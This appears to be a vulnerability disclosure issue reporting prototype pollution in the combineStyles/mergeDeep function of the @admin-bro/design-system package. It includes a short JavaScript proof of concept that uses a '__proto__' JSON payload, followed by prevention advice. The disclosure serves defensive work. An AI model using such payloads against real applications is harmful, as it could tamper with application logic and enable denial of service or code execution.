Prototype Pollution Vulnerability Affecting admin-bro/design-system Package, all versions #99
Description
Overview
Affected versions of this package are vulnerable to Prototype Pollution. An attacker can manipulate the prototype of an object, potentially leading to the alteration of behavior of all objects inheriting from the affected prototype by passing specially crafted input to this function.
Details:
The vulnerability located at (@admin-bro/design-system/build/utils/combine-styles.js:26 when mergeDeep() method
can be exploited to recusively copy malicouse property to the built-in Object.prototype which is usually reachable through the special properties proto and constructor.prototype.
Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service,
remote code execution or cross-site scripting attacks.
PoC:
(async () => {
const lib = await import('@admin-bro/design-system');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.combineStyles (BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();How to prevent:
- Freeze the root prototype using Object.freeze
- Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
- As a best practice use Map instead of Object